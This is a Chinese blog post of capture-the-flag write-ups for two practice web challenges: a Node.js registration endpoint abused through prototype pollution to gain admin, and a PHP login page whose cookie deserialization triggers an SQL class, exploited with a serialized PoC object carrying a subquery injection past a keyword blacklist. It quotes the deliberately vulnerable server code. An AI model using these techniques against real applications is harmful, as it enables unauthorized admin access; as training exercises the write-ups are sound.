刷题记录(四)

攻防世界-wife_wife

环境中有登陆和注册页面,注册界面有admin的选项,猜测此题需要伪造admin身份。

以下是抓到数据包的内容:

数据以json格式提交,该题的考点是Javascript的原型链污染。以下是该题服务端的关键代码:

app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
        return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
        return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
        return res.json({ msg: 'invalid invite code', err: true })
    }
    //该函数的作用是将baseUser,user的内容叠加到{}构成一个全新的对象newUser,该函数也是造成原型链污染的危险函数。
    let newUser = Object.assign({}, baseUser, user) 
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
})

通过在__proto__属性内部设置isAdmin:true污染原型,实现admin身份登陆,payload:

以admin1账号进行登陆,得到flag。

攻防世界-warmup

启动环境后访问,是一个登陆页面

题目提供了源代码,进行审计,index.php中存在反序列化代码:

if (isset ($_COOKIE['last_login_info'])) {
    $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
        }
    } catch(Exception $e) {
        die('Error');
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}

本题和登陆功能没有关系,检查cookie并进行反序列化是本题的突破点。unserialize会触发wakeup方法,在conn.php中定义了一个SQL类,conn.php代码如下:

class SQL {
    public $table = '';
    public $username = '';
    public $password = '';
    public $conn;
    public function __construct() {
    }
    public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }
    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        //数据库查询结果的username为admin就可以输出flag
        }else if($row['username'] === 'admin'){
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }
    //查询数据库部分
    public function query() {
        $this->waf();
        //我们不知道数据库里有哪些表,就算知道,表里也不一定会存admin的数据项,因此要自己构造
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

	//参数中不允许出现blacklist里的内容
    public function waf(){
        $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
        foreach ($blacklist as $value) {
            if(strripos($this->table, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }
    public function __wakeup(){
	    //数据库连接部分
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        //对参数进行过滤
        if($this->table){
            $this->waf();
        }
        //关键函数
        $this->check_login();
        //关闭数据库连接
        $this->conn->close();
    }

可以通过以下方式,生成一张数据表:

select 值1 字段1,值2 字段二

生成的表格样式为:

因此,table属性是一条子查询sql语句而不是指定的表名,黑名单里没有',因此可以用单引号对值进行包裹。
poc代码:

<?php
    class SQL{
        public $table;
        public $username;
        public $password;
        public $conn;
    }
    $o=new SQL();
    //括号外的a是子查询表的名字
    $o->table="(select 'admin' username,'123' password)a";
    //要和表内的字段值一致
    $o->username='admin';
    $o->password='123';
    echo serialize($o);

将序列化结果进行base64编码,在浏览器里找到相应位置填入:

刷新浏览器,得到flag:

posted @ 2023-08-20 20:23  ordigard  阅读(156)  评论(0编辑  收藏  举报